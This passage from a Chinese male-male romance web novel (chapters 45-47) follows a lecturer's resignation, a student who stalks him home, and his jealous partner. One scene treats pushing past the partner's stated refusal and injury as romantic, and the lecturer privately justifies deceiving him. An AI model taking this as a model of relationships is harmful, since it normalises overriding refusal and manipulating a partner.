他顿了顿,“她这两年身体一直不太好,精神状态也不稳定,我不想再刺激她。” 沈北岛将他搂得更紧了些,下巴轻轻蹭着他的发顶:“其实你妈妈这属于心病。” “心病,最终要靠自己想明白,走出来。不是靠外界的人,如何改变的符合她的预期来治愈的。 你把所有责任都揽到自己身上,试图去扮演一个她期望中的好儿子,这只会让她更加沉溺于自己幻想里,也会让你自己越来越累。” 林逸抬起头,从他怀里挣脱,歪着头,审视的盯着他:“你都知道了?” “……谁跟你说的?李锐?还是张泽轩??” 沈北岛:其实是妈妈自己告诉我的,人只有在崩溃的时候,才会没有听到接电话的人到底是谁,就一味的倾泻所有痛苦吧…… “是张泽轩。” “嘿!?”林逸的眉头皱得更紧了,语气里带上了狐疑,“你跟他最近怎么联系这么密切?” 他忽然想起白天偷看到的那条消息——【我那事怎么办?】张泽轩发给沈北岛的。 “我给了他谅解书。”沈北岛回答得坦荡,“所以他告诉了我一些你过去的事。” “当然,这里面有多少是客观事实,有多少是他的主观臆断,我不敢确定,我只是想了解你多一点儿。” 林逸看着他清澈坦然的眼眸,心里的那点怀疑和醋意稍稍褪去,“杜小满的事……你真的不生气吗?” “他毕竟敲诈了你那么多钱……还有那些照片……其实,这事我是后来才知道的,如果早知道……” “不生气。”沈北岛打断他,语气没有一丝勉强。 他重新将林逸拉回怀里:“钱,他全部归还了,他也受到了法律的制裁,这件事对我个人并没有造成什么影响。” 沈北岛:从另一个角度看,我还要‘感谢’他。如果不是他闹这一出,咱爸妈也不会那么早就知道我的存在? 对于已经知晓的事实,人们的接受阈值往往会提高。 下棋的人,怎么会讨厌一颗对自己有利的棋子呢? 林逸从他怀里抬起头,凝视着他的眼睛,试图在那片平静的深潭里找到一丝伪装的痕迹:“你不会……是在我面前装的吧?” “明明心里很在意,却装得这么大度?” “怎么会呢。”沈北岛低下头,很轻地吻了吻他微微嘟起的唇,一触即分,带着珍惜的姿态,“我对你,从来只说实话,我永远不会欺骗我爱的宝贝。” 他在心里默默补充后面的话:如果真的存在所谓的“欺骗”,那也只会是为了让我们更好在一起,产生的“善意谎言”。 逸逸这么善良,如果有一天知道了,也一定能理解会原谅我的。 “你最好是。”林逸警告道。 但身体却诚实地又往他怀里靠了靠。 他总觉得张泽轩那边,似乎还有什么他不知道的事情,但沈北岛的怀抱太过温暖,让人暂时不想去深究那些不确定的疑云。 “宝贝。”沈北岛的声音染上了微妙的兴奋,“我今天去见了位老朋友吗?他送了我一件挺特别的见面礼,你要不要看看?” 林逸眼睛微眯,带着点审视:“今天?我出门去见我妈妈,你就跑去跟别人约会了,还收了礼物?” 沈北岛看到他这副吃醋的小模样,心里别提多得意了,嘴角的笑意加深:“是我爸爸以前的同事,主要是谈些工作上的事,商量我辞职后接手国内公司业务的一些安排,你想哪里去了?” “你要辞职?!!” “嗯,我已经提交辞职申请了。” “为什么?不会是因为我……” “不是,你别乱想,我只是觉得这样的生活过于平淡了,三点一线,没什么意思,想换个生活方式。” 沈北岛认真道,“我父亲那边也确实需要我帮忙。” 沈北岛含着笑望着他。 “是吗?”林逸依旧觉得沈北岛今晚有些“骚哄哄”的,具体说不上来,就是一种直觉,觉得他和平时的沉稳温和不太一样,眼底仿佛藏着什么跃跃欲试的东西。 “送了你什么东西啊?神神秘秘的,拿来我看看。” “他前阵子去国外旅行,环游了好几个国家,路过捷克的时候……”沈北岛一边说,一边观察着林逸的反应。 林逸的眼睛亮了亮:“捷克?我之前旅行还去过布拉格呢!是不是什么很稀奇,很有当地特色的纪念品? 快拿给我看看!我现在做毕业设计正需要收集各种素材和灵感……” “逸逸好聪明。”沈北岛笑着,起身走到书桌旁,从抽屉里拿出一个包装简洁、印着简笔画风格查理大桥图案的方形礼盒,走回来递给林逸,“确实是纪念品。” “这个盒子设计得不错的!”林逸接过,入手感觉分量很轻。 他兴致勃勃地拆开浅金色的缎带,打开盒盖。 里面整整齐齐地排列着五颜六色,火柴盒大小的小方盒,每个小盒子上都印着一个设计感很强的英文字符:Billberry。 色彩鲜艳活泼,排列得像一盒精致的糖果。 “吃的吗?小饼干?还是巧克力?”林逸有些好奇,随手拿起一个淡蓝色的小盒子,拆开…… 一个纯色包装的方形小袋子滑落在他手心,上面的图形和文字,让他瞬间僵住。 这是一个避/孕/套? 林逸还不信邪的拆开:…… 下一秒,林逸像是被烫到一样,把手里的小袋子连同盒子一起丢回给沈北岛:“沈北岛!你……你干嘛! 你那个朋友……是正经工作的人吗?年近半百了,还……还送你这玩意!” 他又羞又恼,语无伦次,“你自己留着用吧!我才不要!” 沈北岛眼疾手快地接住被丢回来的“礼物”,看着林逸羞愤交加的样子,眼底的笑意几乎要溢出来。 他捡起那个掉在床上的、已经被拆开的小袋子,刻意举到林逸眼前。 “别浪费嘛,只有一百个。”他声音含着笑,然后指着包装背面的一圈英文说明,故意用清晰而缓慢的语调读了起: “Polyurethane…Features:Non-latexmaterial,suitableforthosewithlatexallergies.Thinnerthanlatex,withbetterheatconductionandhighersensitivity.” 中文翻译: 聚氨酯材质。 特点:非乳胶,适合乳胶过敏者。 比乳胶更薄,导热性更好,敏感度更高。 “什,什么意思啊,我英文不好……”林逸听得面红耳赤,耳朵却诚实地捕捉到了关键词。 比如:薄? “意思就是……”沈北岛放下那个小袋子,倾身靠近,双手撑在林逸身体两侧的床垫上,目光灼热得像要将人点燃,“我们试试,就知道了。” 他说着,手指已经灵活地开始解林逸睡衣最上面的那颗纽扣。 “哎!你等等!”林逸慌忙抓住他作乱的手,“我……我还没好呢!上次……现在还没有消肿……不行,今天绝对不行!你想都别想!” 沈北岛停下动作,但身体依旧保持着压迫性的贴近,眼底的火焰并未熄灭,反而因为林逸的抗拒和羞窘燃烧得更旺了。 “我觉得宝贝可能是对普通材质过敏了。”他语气满是担忧,“这一款是抗过敏材质,据说体验感完全不同,不会难受的……” “啊……你滚蛋!”林逸又气又急,手脚并用地推他,“我不是过敏!我是……我是受伤了!需要休养!你这个禽兽!救命啊……” 他的抗议声很快被堵了回去,消失在交融的呼吸,以及逐渐升温的夜色里…… “救命!!!救命啊——!!家暴员工了啊!!!” 同一时间,城市的另一端,空旷的董事长办公室里,回荡着另一番截然不同的“求救声”。 时针已经指向接近午夜十二点。 整层楼早已人去楼空,只有这一间办公室还亮着灯,厚重的落地窗外,是璀璨却冰冷的城市夜景。 谢醇手里拿着一把刚从楼下24小时便利店买来的塑料柄的新扫把,脸色铁青。 而他的“施暴”对象张泽轩,正狼狈地躲在一排高大的红木书柜后面,探出半个脑袋,脸上又是委屈又是害怕,还有一丝藏不住的……兴奋。 张泽轩此刻才后知后觉地发现,谢醇这间办公室的门锁,是高级的智能系统。 老板可以通过手机APP,远程控制门锁状态。 可以强制反锁,外面的人进不来,里面的人也出不去。 刚才谢醇就是趁他不备,面无表情地操作了手机,然后“咔哒”一声轻响,他们就被锁在了这个密闭的,隔音极好的空间里。 “谢总!谢叔叔!谢老板!我真知道错了!我下次再也不敢了!您就高抬贵手,放过我这一回吧!” 张泽轩扒着书柜边缘,声音因为刚才的追逐而有些气喘,“再说了……我又没使劲儿!就轻轻地……亲了一下! 您要是多跟我……运动运动,加速新陈代谢,那痕迹很快就能消了!!” 他不说“运动”还好,一说这两个字,谢醇只觉得一股邪火直冲头顶,气得一位老叔叔脑袋发蒙。 他已经举着这把不甚顺手的扫把,追着这小子在办公室里“运动”了快半个小时,从沙发区到办公区,再到这排书柜后面,鸡飞狗跳,一片狼藉。 这小子倒好,体力充沛,嘴还越来越欠! “运动?”谢醇的声音从牙缝里挤出来,“……你想运动是吧?行!那我换个运动器材!” 他说着,目光扫过旁边的实木茶几,上面摆着一个沉甸甸的水晶烟灰缸。 他丢下扫把,两步走过去,一把抄起那个烟灰缸,在手里掂了掂,转身,眼神危险地盯着书柜后的身影。 “来,过来。”他语气平静得吓人,“让叔用这个好好跟你运动运动。” 张泽轩偷眼一看那烟灰缸的分量和谢醇此刻的眼神,心里“咯噔”一下。 完了,这回是真把这位爷给惹毛了,看这架势,不像只是吓唬吓唬他。 他赶紧收起那点嬉皮笑脸,彻底认怂,声音都带上了哭腔:“别别别!谢总我错了!我真错了!我刚才是开玩笑的!我胡言乱语!” “您大人有大量,宰相肚里能撑船,别跟我这小虾米一般见识!我保证以后规规矩矩,绝不再侵/犯……不对,绝对不会再冒犯你!” “你过来……” 谢醇不为所动,依旧举着烟灰缸,“别让我说第三遍。” 张泽轩一看这躲是躲不过去了,谢醇那眼神,明显是今天不给他个“交代”决不罢休。 他磨磨蹭蹭地从书柜后面挪出来,一步一步,往前蹭着。 “走快点!”谢醇看他那蜗牛速度,心头火又烧了起来,“那两条腿是瘫了吗!需要我找人给你治治?” 张泽轩被他一喝,心一横,两大步跨到他跟前! 然后“扑通”一声,干脆利落地双膝跪地,上半身往前一扑,直接抱住了谢醇穿着昂贵西裤的小腿。 “谢叔叔!”他仰起头,脸上没了刚才的嬉闹,眼神明亮执着,随后,带着一股豁出去的狠劲儿: “你今天要么就打死我!打不死我,我就永远是你的好宝宝!我到死都要缠着你!做鬼都要飘到你办公室安家!下辈子投胎,我专门奔着你家祖坟去!!!” 他声音响亮,在空旷的办公室里回荡,带着一种荒谬绝伦,又异常认真的宣告。 谢醇举着烟灰缸的手,僵在了半空。 他看着脚下这个抱着自己腿、仰着脸,说着如此混账又如此直白话语的年轻人,忽然觉得一阵前所未有的无力感涌了上来。 打?怎么打? 对着这样一张脸,这样一双眼睛? 不打?这口气就这么咽下去? 以后这小子岂不是更无法无天? 谢醇内心无奈的谴责自己: 真特么的……孽缘。 张泽轩偏偏抓住了他的一丝犹豫,像是听懂了他的内心独白,说道:“孽缘也是缘,苦果亦是果!” 狗脑袋蹭蹭主人的西装裤:“你就给我个机会吧,我的好叔叔~~~”《 》 45-50 第46章 “沈老师,打扰你。” 李锐将一个纸箱轻轻放在办公桌空着的一角,纸箱不重,能看出里面除了些零碎物品,还有一个印着LV的礼盒,旁边则是一叠各色信封装着的信件。 “沈老师……”女同学将花束也放在桌上,声音有点失落,“班里同学们听说您要辞职了,自发给您写了手写信,还有一些小礼物,是我们的一点心意。” 她指了指那个纸箱,又补充道,“这是几个班一起准备的,您收下吧。” 沈北岛的目光掠过那叠厚厚的信件,他伸手拿起最上面一封,点了点头。 “信,我收下了。”他的声音温和,“谢谢同学们的心意。” 然后,他的目光落印着显眼logo的礼盒上,用指尖轻轻点了点礼盒边缘,看向两位学生,“但这份礼物过于贵重了,我不能收。” 李锐似乎早有预料,连忙解释:“沈老师,这不是一个人送的,是几个班一起,用之前团建没用完的经费,加上一些同学自愿凑的一点钱买的。” “班委都在群里公示过,大家都同意把这份心意用在给您的礼物上,您就收下吧,不然……我们也不好交代。” 女同学也在一旁点头,“沈老师,今天晚上我们几个班干部想请您吃个饭,您有时间吗?” 沈北岛看着两个年轻人真挚的眼神,沉默了片刻,他理解学生们的心意,但他有自己的原则。 他没有直接拒绝,而是将话题暂时转开:“你们的心意老师心领了,今晚的聚餐,我会准时到。” 女同学脸上露出笑容:“地点就定在学校东门那家缘来餐厅。” “嗯。”沈北岛点头,随即看向李锐,“李锐,你单独留一下,我有点事跟你说。” 女同学先离开了,轻轻带上了门。 办公室里只剩下师生二人。 沈北岛还没开口,李锐先一步问道:“沈老师,你是不是因为学校论坛上那些乱七八糟的言论,才决定辞职的?” 他语速加快,带着些许急切和担忧,“其实那些您根本不用在意!都是一些无聊的人捕风捉影,胡说八道!过一阵子就没人记得了!您讲课那么好,同学们都特喜欢您……” 沈北岛安静地听完,他拉开旁边的椅子,示意李锐坐下。 “你觉得老师我就这么点心理承受能力吗?”他声音平和,带上经过世事沉淀的从容,“论坛上的东西,我确实看过一些,但那些,远不足以让我做出离职的决定。” 李锐依言坐下,但神情依旧紧绷,并未完全被说服。 沈北岛不再解释,转而从抽屉里拿出一个文件夹,翻开其中一页,推到李锐面前。 那是一份打印出来的,关于本校及几所合作院校研究生招生的详细资料,上面还有一些手写的批注和建议。 “我叫你留下,是想跟你聊聊你考研的事。”沈北岛的语调转为认真,“我已经跟院里几位带硕士生的老师打过招呼,也简单介绍了一下你的情况。 他们表示,如果你的笔试成绩能过线,面试时只要正常发挥,展现出你专业能力,录取的希望非常大。” 李锐愣住了,低头看着面前一定花费了不少心思整理的材料,他喉咙哽了一下,一时不知该说什么。 沈北岛的手指落在资料页上,划过几个被他圈出来的专业方向。 “不过,专业选择需要慎重。” 他继续说:“这几个方向,比如德语语言学理论研究、中德跨文化交际,学术性很强,未来路径相对单一,主要是走学术研究或者高校教学的路子,优点是安稳,缺点是可能比较枯燥,圈子也相对窄一些。” 他的手指移到另一片区域:“这几个,像经贸德语、德语国家区域研究……应用性更强,跟市场、企业结合相关,未来发展面更广,可以去外企、贸易公司等等,竞争也更激烈。” “我个人比较建议你考虑经贸德语相关专业方向,你的语言底子好,逻辑思维清晰,性格也比较踏实,学这个方向,能发挥你的语言优势,也能接触到经济贸易领域,未来选择会更多元。 当然,这只是我个人的建议,最终还是要看你自己的兴趣和长远规划。” 他又将压在最底下的文件拿到上面,还有一份招生简章的宣传单页,“这份资料里的项目是跟德国大学合作的培养项目,需要出国读两年左右。 这涉及到国家选择、学费、生活费……这些需要你跟家人一起商量,我就不提供过多建议了。” 沈北岛说完,将资料又往李锐面前推了推,靠回椅背,目光平静地看向他:“我能做的,是给你提供尽可能全面的信息和一些基于经验的建议,选哪条路,你自己决定。” 李锐一直低着头,他原本因为沈北岛的离开而积压的情绪,此刻被更复杂的情感淹没了。 他没想到,沈北岛为他考虑得如此周全,远远超出了一个普通授课教师的职责范围。 李锐鼻子一阵发酸,眼眶发热。 最终,千言万语堵在胸口,只化作一句无比真挚的话: “老师,祝您和林逸,百年好合,永远幸福。” 这话从李锐嘴里说出来,多少有些突兀。 沈北岛无奈的笑了笑,“你是我任职期间最得意的学生。” 他话里带着师长的鼓励,“即使没有林逸这层关系,作为老师,我也会在力所能及的范围内提供帮助,不过……” 他笑意加深:“既然你送上了这么美好的祝福,我就欣然收下了。” 气氛松弛下来。 沈北岛重新将目光再次投向桌上那个显眼的礼盒。 他伸手把那一叠厚厚的信件取出,然后,把那礼盒推回李锐面前。 “这个能退的话,就退了,如果退不了就放平台转手,剩下的钱,由你负责,合理安排还给参与的同学,或者用作班级以后的活动经费,我相信你能处理好。” 李锐张了张嘴,想说什么。 沈北岛却抬起手,示意他去看墙角亮着红色工作灯的监控摄像头。 “我现在,还是老师的身份。”他压低了些声音,“接收学生送的贵重礼物,是违反规定的。我不想在离开之后,背上贪污的骂名,这对学校、对我、对你们,都不好,理解吗?” 李锐顺着他的目光看了一眼摄像头,然后点头,“嗯,我明白了,沈老师,我会处理好的。” …… 到了晚上,最后一节课下课后。 沈北岛如约而至。 包厢里已经坐了十几个人,都是各班的班干部,还有几位成绩不错的同学。 看到他进来,原本有些嘈杂的包厢瞬间安静下来,所有人都站了起来,目光齐刷刷地投向他,眼神里满是不舍。 沈北岛摆了摆手,示意大家坐下,开玩笑道:“都坐吧,别这么正式,我只是换份工作,又不是要出国定居,以后说不定在江州逛街还能遇见。” “沈老师,你真的要走吗?” “学生会关于你的个人账号都还在发更新呢!” “不然别走了吧?沈老师。” “你走了,我们学校可只剩下地中海了!” “喂!李老师不在,你还蛐蛐人家。” “我知道,我们沈教授不会告诉李老师的!你们知道为什么嘛?” “为什么?” “哎呀!有代沟呗!除了沈教授能跟我们玩到一起去,你还指望爸爸辈的老师跟我们在这玛卡巴卡吗!” …… 他这顿饭吃得很温馨。 一阵喧闹后,学生们轮流说着感谢的话,回忆着课堂上的趣事…… 沈北岛耐心地听着,适时地回应,偶尔给出一些关于学业,关于未来的中肯建议。 他没有待到最后。 饭局进行到一半多时,他起身,以明天还有早课需要准备为由,提前告辞。 离开前,他悄悄去前台结了账,并额外嘱咐服务员,按照在场的人数,准备十几份精致的小点心礼盒,等聚餐结束后送给同学们。 或许,这是他执教生涯中,最有人情味的一个夜晚。 他向来克制,与学生保持适当的距离,努力维持威严的形象,却在今天发现,原来同学们经常私下开他玩笑,还给取了各种“不近人情”的外号…… 走出餐馆,夜风带着凉意,沈北岛紧了紧风衣的领口,吹散了些许醉意。 当初决定回国发展时,他的父亲是强烈反对的。在父亲的规划中,他应该直接进入家族企业,而不是跑到一所大学去当什么老师。 但他当时有股不愿被既定轨道束缚的劲儿,又恰巧在回国没多久,赶上了人才引进计划,便抱着一种“体验另一种生活”的心态,参加了面试。 然后,一晃就是三年。 站在讲台上的感觉最初是陌生的,带有挑战的。 后来,他通过自己的讲解,将一门复杂语言的逻辑呈现出来,学生因为他的教学而豁然开朗…… 这一切的体验都很奇妙,满足感和价值感也在这三年里充实了他的生活。 谈不上多么狂热的热爱,但确确实实在这个过程中,他渐渐习惯了这份职业。 人生啊,很多时候就是这样。 未必一开始就能找到所谓命中注定的热爱,但如果你选择了,就试着去投入,去发现其中的意义和乐趣。 很多时候,不是选择自己爱的,而是努力去爱自己选择的。 最怕的是,永远在犹豫和观望中,蹉跎了时光,冷却了热情。 沈北岛轻轻呼出一口气,白色的雾气在路灯下迅速消散…… * 沈北岛回到家,推开门。 一股复杂的食物气味扑面而来。 “沈教授下班啦?” 林逸从厨房探出脑袋,身上系着那条沈北岛常用的深色围裙,手里还举着锅铲,脸上沾了点褐色的痕迹,呆头呆脑的,很可爱。 “我今天做了可乐鸡翅!还有豪华版鸡蛋火腿方便面!你想先吃哪一个?” 沈北岛看着他那副小模样,心里涌起一阵暖意,他实在不好意思说自己已经吃过了,尤其还是和学生们吃的告别宴。 他脱下外套挂好,换上拖鞋走过去,很给面子地说:“先尝尝我们林小兔的招牌可乐鸡翅吧。” 刚凑近厨房门口,林逸却突然皱了皱鼻子,立马凑到他身上嗅了嗅。 “啤酒味?”他抬起头,眼神里立刻带上了熟悉的排斥,“又有应酬?先去洗澡!把你身上这些乱七八糟的味道洗干净,不然不许碰我做的饭!” 他放下锅铲,用没沾油渍的手背推着沈北岛的胸膛,把人往浴室方向赶。 沈北岛无奈地笑了,顺从地被驱逐,进浴室前,他把手机从口袋里掏出来,顺手就塞进了林逸围裙前面的口袋里。 “快点洗,面黏在一起就不好吃了!”林逸隔着门喊了一声,转身回到厨房,开始捞面。 这时,他围裙口袋里的手机,开始持续不断地震动起来。 “嗡嗡嗡……嗡嗡嗡……” 林逸心想:这么晚了,谁一直打电话? 他犹豫了一下,擦了擦手,从口袋里掏出沈北岛的手机。 屏幕亮着,显示着来电归属地是本地,但没有存储姓名。 震动停止了,但紧接着,屏幕上方连续弹出了几条微信消息的预览。 第一条【沈老师,我给你写的信你看了吗?我鼓起了很大勇气的〒_〒】 第二条:【既然您马上就不是老师了,我们之间也就不存在师生关系了,也不会对您的职业产生影响,我想我应该为自己勇敢一次!!】 第三条【沈老师●v●我现在在您家楼下,很抱歉……我跟着您回来的,您能下来一趟吗?我有话想当面跟您说】 第四条【沈老师,没关系我给您思考的时间,我会一直等您的,等到您下来为止】—— 作者有话说:求个评论呀! 此文可能接近完结了,大概几万字吧 关于张泽轩的事大概会统一写在番外 注意!!! 我又读了一遍,我发现可能前面会有点暧昧,但是我声明一下,一个文里不只有爱情,我觉得一位好的老师真的能影响一个人的一生,林逸沈北岛99999 还有,不是沈老师有偏见,在我们上学的过程中,总会有老师单独对一个人上心一些,比如这个同学学习成绩好,那个同学比较开朗,那那个同学经常帮老师忙,但是不代表他不会给全班人嘱咐,我也不太会能把剧情全部写的非常完整,沈老师和李锐大概就是属于相互欣赏,李锐前期算是沈北岛助理的职位,大概亦师亦友,他俩没有别的情感啊,真的没有!!!唯一的情感就是都暗恋过林逸,只是李锐不敢说怕没了朋友,被沈老师吓唬回去闭嘴了。 第47章 “妈的!这都找到师母家里了!真是无法无天!” 沈北岛刚从浴室出来,就听到玄关处传来“砰”一声,然后是急促远去的脚步声。 “逸逸?”沈北岛环顾四周,客厅没人,厨房的灯还亮着,他的手机也没在桌子上,他随手抓起搭在椅背上的外套套在睡衣外面,追了出去。 一楼大堂空无一人,玻璃门外,是小区静谧的绿化带,路灯在冬夜的雾气里晕开一团昏黄的光。 沈北岛推门出去,很快在右侧不远处的一棵树下,看到了熟悉的身影。林逸穿着棉衣,正伸长脖子,找什么东西。 “林逸。”沈北岛几步跑过去,抓住他的胳膊,“怎么跑下来了,晚上这么冷……” 林逸猛地甩开他的手,转过头,没好气地瞪着他,语气又冲又酸:“没事!我就下来看看,看看你沈教授在外面撒的网,有没有捞到什么不知死活,敢往家门口撞的鱼!” 说完,林逸从自己口袋里掏出沈北岛的手机,狠狠按在他的胸膛上,“你自己看!” 转身就往回走,背影都气呼呼的。 他解锁手机,点开微信。 几条未读消息,是班干部和一些学生发来的感谢和祝福,林逸只点开了最上面那一条。 沈北到看到了那些看不懂的言语。 他快步跟上,解释道:“逸逸,你听我说……” 林逸刷开单元门禁,头也不回地走了进去。 金属门在沈北岛面前缓缓合拢。 他握着尚有林逸体温的手机,屏幕因停留在微信聊天的界面。 “沈老师,您……您出来了。” 一个怯生生的声音,从侧后方的一片阴影里传来。 沈北岛迅速转身,后退两步,拉开了距离,冷风吹过他裸露在外的脚踝带来一阵寒意,沈北岛迫使自己冷静下来,他必须先把眼前的麻烦处理掉。 眼前的人是个男孩子,个子不高,身形瘦削,穿着单薄的棉服,脸在昏暗光线下看不太清,但能感觉到他的紧张。 沈北岛立刻认出了他。 确实是班上的一个学生,成绩中上,平时沉默寡言,在课堂上几乎不发言,存在感很低。 沈北岛与他的交流仅限于课堂点名,和偶尔考试成绩不理想时,例行公事的提点几句。 他从未想过,这个看起来内向腼腆的男生,会对自己抱有超出师生关系的想法,甚至跟踪到了家门口。 现在有些晚了,周围没有人。 沈北岛不动声色地又后退了几步,与他保持应有的距离。 他的脸色沉下来,带着师长的威严和警告:“半夜跟踪老师回家,你想做什么?” 男孩似乎被他的态度吓到,瑟缩了一下,但还是鼓起勇气,向前挪了一小步,声音有些发颤:“沈老师,我……我没有恶意。我就是就是想跟您聊聊,有些话,憋在心里很久了……我看到您要辞职了,我觉得……” “我觉得你现在应该立刻离开这里。” 沈北岛打断他,他不举起手机,直接调出了拨号界面,“你再不走,我马上报警,说你非法跟踪,不仅会毁掉你的学业,还会留下案底,你想清楚后果。” 他见男生没动,直接拨打,“您好,我要报警……” “别!沈老师!我走!我马上走!”男孩的脸色瞬间惨白,声音都变了调,最后一丝勇气和幻想彻底溃散。 他慌忙转身,跑向了小区大门…… 直到那个身影彻底看不见,沈北岛才缓缓放下举着手机的手臂,长长地呼出一口气。 再次打开微信,删除、拉黑。 处理完这些,他才走进大厅,回家。 此时,林逸坐在餐桌旁,正美滋滋的吃泡面,完全不在意回来的人。 沈北岛关上门,换好拖鞋,走到餐桌边,他小心翼翼的拉开林逸对面的椅子,“我也来尝尝……” “啪!” 林逸头也没抬,一筷子就敲在了他伸向鸡翅盘子的手背上,手背立刻红了一道。 沈北岛手指蜷缩了一下,却没收回,抬眼看向林逸。 林逸放下筷子,靠在椅背上,双臂抱胸,撇了一眼墙上的时钟:“你下去了五分四十八秒。” 林逸:“如果是接吻的话,足够来一个特别深入的湿吻了……或者,聊个天,交换联系方式,再约好下次见面的时间地点,也绰绰有余。” 沈北岛一脸无辜:“逸逸,你听我解释……” “你解释,我在听。”林逸打断他,身体微微前倾,手肘撑在桌面上,目光牢牢锁住他,“我好好听着,听听我们沈教授,是怎么循循善诱的让一个学生,对你产生不该有的幻想,甚至还跟踪到家里来。” “我对他没有任何超出师生关系的想法,也没给过他任何错误的暗示。” 沈北岛迎着他的目光,“在今天之前,都没跟他说过几句话,我刚才下去,一直跟他保持着至少五步以上的距离,全程没有靠近,我已经明确拒绝,并且警告他立刻离开。” “哦?怎么警告的?”林逸挑了挑眉,好整以暇地问,“用你那迷人的德语,还是用你平时上课时那种温柔又耐心的语气?” “报警。”沈北岛说。 “什么?”林逸显出惊讶,“电话记录呢?给我看看。” 沈北岛下意识想去拿手机,手指碰到屏幕才想起,他刚才只是虚张声势,根本没有真的按下拨号键。 他当时只想最快速度解决麻烦,吓退对方,避免事态扩大,也没必要因为一件小事惊扰公安人员。 “……”向来逻辑清晰的沈教授,罕见地出现了磕巴,“我只是吓唬他一下,没有真的拨打110。” 他说完,就知道大事不好。 “没有真的报警”的解释,显得苍白无力,甚至像是为了掩盖什么编造的托词。 “你这是受害者有罪论……” “不要跟我讲大道理。” 林逸站起来,“我能相信你吗?这是一个没处理好,直接追到家里来了。学校里,是不是还有好多个像他这样的,只是我不知道而已?” “别人怎么想,我控制不了,但我可以保证,我对他们绝无任何想法,我的态度从来都……” “靠!!”林逸猛地打断他,气的直接站在了椅子上,“还真有!不止一个?到底有多少!!” “我就知道!我就知道!” 林逸气的从椅子上跳下来,开始心烦的在屋里来回踱步,愤愤不平的想: 我喜欢的东西,总会有人惦记!是不是我平时太好说话了?沈北岛是不是觉得我离不开他?! 等他以后工作忙了,应酬多了,是不是随便什么阿猫阿狗都能凑上来,说不定哪天我就被悄无声息地挖了墙角?!! 林逸越想越生气,说道:“跪下,道歉!” 啧!最近狗血短剧看多了,怎么说出口了,早知道就学点骂人的话…… 对于从小到大在国外生活长大的沈北岛,只是听到了一个陌生的词汇。 也怪他,不能怪小兔子暴躁。 是他没有更早察觉,没有防患于未然。 自己现在还没“转正”,林逸完全可以选择结束这段关系。 椅子被拉开,沈北岛绕过餐桌,拉着林逸的手,“你如果很想看的话,我们去沙发。” 他不会真的要? 林逸说出那话的下一秒就后悔了。 怎么像个揪住平民小辫子不放的衙门老爷呢?管你有理没理,老爷不痛快了,错的就只能是你! 林逸被他领着,顺从的一屁股坐到了沙发上。 沈北岛起身用脚提开了茶几,给他自己留出足够的空位,在林逸面前缓缓蹲下,林逸下意识就要站起来去扶他,沈北岛顺势搂住了他的腰。 眼前的人缓缓地、单膝跪下。 林逸长这么大,除了小时候犯错被罚站,自己都没有跪过。 “你……你干什么?我……我刚才那是气话!不算数的!你快起来!” 他想去拉沈北岛,手伸到一半又顿住,觉得这动作好像也不太对。 沈北岛却顺势伸手,揽住了他的腰,力道不容挣脱。 他仰起脸,看着林逸因为震惊和羞窘泛红的脸颊,不仅没有一丝屈辱,勉强,反而透着一种隐藏着的坏心思,让林逸琢磨不透。 “宝贝做什么都是对的。”沈北岛凑过去,“我心甘情愿。” 他的手臂收紧,将试图后退的林逸拉得更近,几乎贴在自己身前,“只要宝贝不生气了,可以怎么惩罚我都行,跪着,或者……其他任何方式。” 林逸被他搂着腰,居高临下地看着他跪在自己面前。 明明是自己“居高”,可沈北岛那坦然甚至带着点纵容的眼神,那牢牢圈住自己的手臂,却让他产生了一种奇怪的错觉,仿佛被禁锢、被掌控、无处可逃的,是他自己。 林逸的脸颊更烫了,心情气鼓鼓的,却又不知道该怎么办才好。 理智一点思考:有人喜欢沈北岛,他有什么办法?难道还能把沈北岛锁起来不成? 可那种属于自己的东西被人觊觎的感觉,实在糟糕透顶,像是这个人随时会因为外面的诱惑而逃跑。 “那你以后,能不能注意一点?”林逸的声音带着点委屈,“被人跟踪了都不知道,多危险啊……” “我今天是开车回来的,路上没注意。”沈北岛耐心解释,手臂依旧环着他,“以后我会更小心,好了,我们不提他了,好吗?” “不生气了好不好?” 林逸别开脸,不看他,也不说话。 气其实消了大半,但面子上还有些下不来,心里那股酸溜溜的劲儿还没完全散去。 沈北岛松开揽着林逸腰的手,改为轻轻握住他的手腕,“要是还生气,我还有特别的道具可以让你出气。” “什么道具?”林逸被勾起了好奇心,转回头看他。 目光落在沈北岛英俊的脸上,那双深邃的眼睛里映着灯光,衬的他五官更加立体了,就连毛孔都趁着光晕融化进了皮肤里,看上去,秀色可餐。 算了。 林逸心想,要是真因为这点捕风捉影的事就闹分手,岂不是白白把这么好的人便宜了别人? 不行,他得牢牢看住。 “你等我,我去拿。”沈北岛说着,作势要起身,却又停住。 然后沈北岛抬起头,用一种“请示”的语气,认真地问:“逸逸小公主,我现在可以起来了吗?” 林逸被他这声“公主”和那副一本正经请示的样子弄得脸颊又是一热,羞恼地拍了他肩膀一下:“啧!谁让你跪了?我可没逼你!搞得我多嚣张跋扈,蛮不讲理一样!” 他伸手去拉沈北岛的胳膊,想把他拽起来,却发现自己好像拽不到这只大家伙。 林逸松手,“哼”了一声:“随便你!我睡觉去了!”他想起身去卧室。 “你等我一下。”沈北岛利落地站起身,快走几步,先他一步进了卧室。 林逸好奇的跟进去,就看到沈北岛从衣柜最里面拿出一个他从未见过的,质感很好的黑色皮质小箱子。 沈北岛将箱子放在床边地毯上,打开。 里面整齐地摆放着几样东西: 一对柔软的黑色皮质腕带,带着精巧的金属扣。一根细长而富有弹性的黑色小皮鞭,还有一个镶嵌着水钻的银色皇冠头饰…… 盒子里的东西不止这些,但是林逸不敢再看了。 林逸突然有股窒息感,“这……这是什么东西?你什么时候买的?” 沈北岛反而不答,先拿起那对腕带,动作熟练地给自己戴上,扣好。 皮质柔软,贴合手腕。 然后,他手腕上晃荡着另一边,走到林逸面前。 林逸下意识想后退,却被沈北岛轻柔的握住了手腕,冰凉的皮质触感贴上皮肤,接着是金属扣闭合的声音…… 他的双手被戴上了同样的腕带,一人一边,像是警察抓了犯人。 沈北岛拿起那个小皇冠,眼神虔诚,轻轻地将皇冠戴在了林逸有些凌乱的发顶上。 皇冠不大,重量很轻。 林逸:……这又是? 沈北岛拿起那根小皮鞭,单手捧着,递到林逸被腕带束缚住的手边,挑了挑眉,带着一种自愿领罚的信任。 “现在……”沈北岛的声音低哑,浮现磁性,“你想打哪里,都可以。” 林逸看着手里莫名其妙的小皮鞭,又看看眼神炽热锁住自己的沈北岛,感觉全身的血液都往头顶冲,脸颊烫得火热,鸡皮疙瘩起了一层又一层。 强烈的羞耻感和一种陌生感交织在一起,让他几乎站立不稳。 